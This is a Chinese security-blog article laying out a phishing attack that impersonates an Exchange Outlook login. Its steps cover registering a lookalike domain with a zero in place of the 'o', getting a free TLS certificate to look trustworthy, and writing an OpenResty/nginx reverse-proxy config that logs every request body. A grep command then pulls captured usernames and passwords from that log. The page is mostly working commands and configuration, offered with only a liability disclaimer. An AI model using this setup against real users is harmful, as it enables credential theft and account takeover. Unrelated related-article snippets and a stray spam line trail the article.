<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    基于Nginx反向代理水坑攻擊

    VSole2022-06-24 13:42:47

    STATEMENT

    聲明

    由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。

    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。

    具體步驟 

    說明:除了域名發生了變化其他不會影響該站點的任何功能,省去了克隆站點等其他繁瑣的步驟。

    場景: 偽裝成目標 exchange outlook 登錄,誘騙用戶輸入賬號密碼。

    偽造相似域名:mail.exchange-`0`utlook.com

    被仿冒域名:mail.exchange-outlook.com

    購置域名 mail.exchange-`0`utlook.com 并A記錄解析至服務器。

    在該服務器部署安裝certbot、openresty具體操作步驟如下。

    更新源并安裝可能需要的依賴。


    apt-get update -y apt-get install -y libpcre3-dev libssl-dev perl make build-essential curl zlib1g-dev
    

    Ubuntu安裝Certbot(根據版本選擇如下命令進行安裝)。


    apt install certbot python3-certbot-nginxapt install certbot python-certbot-nginx
    

    使用Certbot配置免費ssl證書,增加可信度。


    certbot --nginx -d mail.sfitshfe.com
    

    運行后正常Certbot會自動檢測nginx對應域名的配置文件路徑并提示是否要全部轉跳到https,選擇1后配置完成,并且nginx會幫你重新加載配置文件,重新打開網站已經支持https訪問了,因為是免費的證書,所以只有90天有效期。

    certbot certificates  # 可以查看證書的狀態certbot renow  # 證書到期30天前可以自動更新certbot revoke # 撤銷證書certbot delete # 撤銷后刪除證
    

    查看證書的狀態及路徑。


    root@10-7-16-132:/home/ubuntu# certbot certificatesSaving debug log to /var/log/letsencrypt/letsencrypt.log
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Found the following certs:  Certificate Name: mail.exchange-0utlook.com    Domains: mail.exchange-0utlook.com    Expiry Date: 2022-09-08 03:09:57+00:00 (VALID: 86 days)    Certificate Path: /etc/letsencrypt/live/mail.exchange-0utlook.com/fullchain.pem    Private Key Path: /etc/letsencrypt/live/mail.exchange-0utlook.com/privkey.pem- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    

    Ububtu安裝openresty [install_openresty.sh]

    (https://gist.github.com/k8scat/0adca267c15ae9f3ed39770803e82ec3# file-install_openresty-sh)。


    #!/bin/bashset -erm -rf openresty-1.19.3.2 openresty-1.19.3.2.tar.gz
    apt-get update -yapt-get install -y libpcre3-dev \  libssl-dev \  perl \  make \  build-essential \  curl \  zlib1g-dev
    curl -LO https://openresty.org/download/openresty-1.19.3.2.tar.gztar zxf openresty-1.19.3.2.tar.gzcd openresty-1.19.3.2
    ./configure \  --with-http_gzip_static_module \  --with-http_v2_module \  --with-http_stub_status_module
    makemake install
    mkdir -p /usr/lib/systemd/systemcat > /tmp/openresty.service <# Stop dance for OpenResty# =========================## ExecStop sends SIGSTOP (graceful stop) to OpenResty's nginx process.# If, after 5s (--retry QUIT/5) nginx is still running, systemd takes control# and sends SIGTERM (fast shutdown) to the main process.# After another 5s (TimeoutStopSec=5), and if nginx is alive, systemd sends# SIGKILL to all the remaining processes in the process group (KillMode=mixed).## nginx signals reference doc:# http://nginx.org/en/docs/control.html#[Unit]Description=The OpenResty Application PlatformAfter=syslog.target network-online.target remote-fs.target nss-lookup.targetWants=network-online.target[Service]Type=forkingPIDFile=/usr/local/openresty/nginx/logs/nginx.pidExecStartPre=/usr/local/openresty/nginx/sbin/nginx -t -q -g 'daemon on; master_process on;'ExecStart=/usr/local/openresty/nginx/sbin/nginx -g 'daemon on; master_process on;'ExecReload=/usr/local/openresty/nginx/sbin/nginx -g 'daemon on; master_process on;' -s reloadExecStop=-/sbin/start-stop-daemon --quiet --stop --retry QUIT/5 --pidfile /usr/local/openresty/nginx/logs/nginx.pidTimeoutStopSec=5KillMode=mixed[Install]WantedBy=multi-user.targetEOF
    # systemctl enable openresty# systemctl start openresty# systemctl status openresty
    rm -rf openresty-1.19.3.2 openresty-1.19.3.2.tar.gz```
    

    創建或編輯配置文件/etc/openresty/nginx.conf(建議修改覆蓋前備份默認配置文件)。


    worker_processes  1;#error_log  logs/error.log;#error_log  logs/error.log  notice;#error_log  logs/error.log  info;#pid        logs/nginx.pid;
    events {    worker_connections  1024;}
    http {    include       mime.types;    default_type  application/octet-stream;    log_format  logeverything  '======$current_time - $remote_addr$request_headers$request_body=======';    keepalive_timeout  65;  server {    set $request_headers "";        set $current_time "";    root /var/www/html;    # Add index.php to the list if you are using PHP    index index.html index.htm index.nginx-debian.html;    server_name mail.exchange-0utlook.com; # managed by Certbot    listen [::]:443 ssl ipv6only=on; # managed by Certbot    listen 443 ssl; # managed by Certbot    ssl_certificate /etc/letsencrypt/live/mail.exchange-0utlook.com/fullchain.pem; # managed by Certbot    ssl_certificate_key /etc/letsencrypt/live/mail.exchange-0utlook.com/privkey.pem; # managed by Certbot    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot    location / {      proxy_pass https://mail.exchange-outlook.com/;      proxy_set_header       Host $host;      proxy_cookie_domain  mail.exchange-outlook.com $host;  # 此處被仿冒站點      proxy_set_header referer "https://mail.exchange-outlook.com$request_uri"; # 此處被仿冒站點      proxy_set_header User-Agent $http_user_agent;        proxy_set_header X-Real-IP $remote_addr;      proxy_set_header REMOTE-HOST $remote_addr;      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;      proxy_connect_timeout 300;      proxy_buffering off;      proxy_send_timeout 300;    }      access_log  logs/cool.log  logeverything;   # http 數據結果文件  }
    }
    

    執行命令啟動nginx并加載配置文件。


    /usr/local/openresty/nginx/sbin/nginx -c /etc/openresty/nginx.conf
    nginx啟動:/usr/local/openresty/nginx/sbin/nginx。nginx關閉:/usr/local/openresty/nginx/sbin/nginx -s stop。nginx重新加載配置:/usr/local/openresty/nginx/sbin/nginx -s reload。
    

    訪問兩個站點效果:

    訪問https://mail.sfitshfe.com/ 并輸入賬號密碼,查看保存的賬號密碼。


    cat /usr/local/openresty/nginx/logs/cool.log | grep -oE 'username=(.*?)&password=(.*?)'
    

    TODO:因為該項目比較倉促個人感覺需要做個文件監控腳本,并將特定字段(賬號密碼)自動推送到釘釘或其他平臺。

    參考

    OpenResty 使用介紹:

    https://www.runoob.com/w3cnote/openresty-intro.html

    Certbot 1.28.0 documentation:

    https://eff-certbot.readthedocs.io/en/stable/index.html

    如何使用 Certbot 免費申請 https 證書:

    https://www.zhihu.com/question/484431835/answer/2262502859

    nginx反向代理openresty
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    微服務架構中,API網關充當著非常重要的一環,它不僅要負責外部所有的流量接入,同時還要在網關入口處根據不同類型請求提供流量控制、日志收集、性能分析、速率限制、熔斷、重試等細粒度的控制行為。API網關一方面將外部訪問與微服務進行了隔離,保障了后臺微服務的安全,另一方面也節省了后端服務的開發成本,有益于進行應用層面的擴展。與此同時,API網關也具備解決外界訪問帶來的安全問題,如TLS加密、數據丟失、跨
    在微服務架構中,業務邏輯被拆分成一系列小而松散耦合的分布式組件,共同構成了較大的應用。
    一般有運行nginx服務器的用戶組,nginx進程pid存放路徑,日志存放路徑,配置文件引入,允許生成worker process數等。#user administrator administrators; #配置用戶或者組,默認為nobody nobody。keepalive_requests 120;#單連接請求上限次數。
    01大致思路是這樣,首先,我們會用一個 CS 的外部 http 監聽器先把流量彈到第一層的 nginx代理節點上,因為事先已經在 mail 這臺機器上做好了反代配置,而這個反代配置里實際指向的是我們第二層 nginx 反代節點的域名,所以當回連的流量一過來就會直接被拋到第二層的 nginx 反代節點上,由于又事先在第二層反代節點上也做好了反代配置,不過這次配置里指向的并不是別的地方,而是我們真
    本環境為黑盒測試,在不提供虛擬機帳號密碼的情況下進行黑盒測試拿到域控里面的flag。
    這年頭打個紅隊都不容易,想普普通通上個線,除了ByPassAV以外,還要應付各種流量審計和設備和威脅情報,一不留神VPS就被扒光了。最近也是一直在倒騰,看了很多文章,但沒一個能完全滿足要求,或者是按著指示走著走著發現掉坑里了,嗯。
    Nginx 快速入門
    2022-05-11 16:36:35
    Nginx 是?款?性能的 http 服務器/反向代理服務器及電?郵件(IMAP/POP3)代理服務器。由俄羅斯的程序設計師伊?爾·?索夫(Igor Sysoev)所開發,官?測試 nginx 能夠??撐 5 萬并發鏈接,并且cpu、內存等資源消耗卻?常低,運??常穩定。
    工具簡介suo5是一個全新的高性能HTTP代理隧道,基于HTTP/1.1的Chunked-Encoding構建。相比 Neo-reGeorg 等傳統隧道工具,suo5 的性能可以達到其數十倍。使用時需上傳 suo5.jsp 到目標環境中并確保可以執行。help, h Shows a list of commands or help for one command. 自定義 socks5 監聽在?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类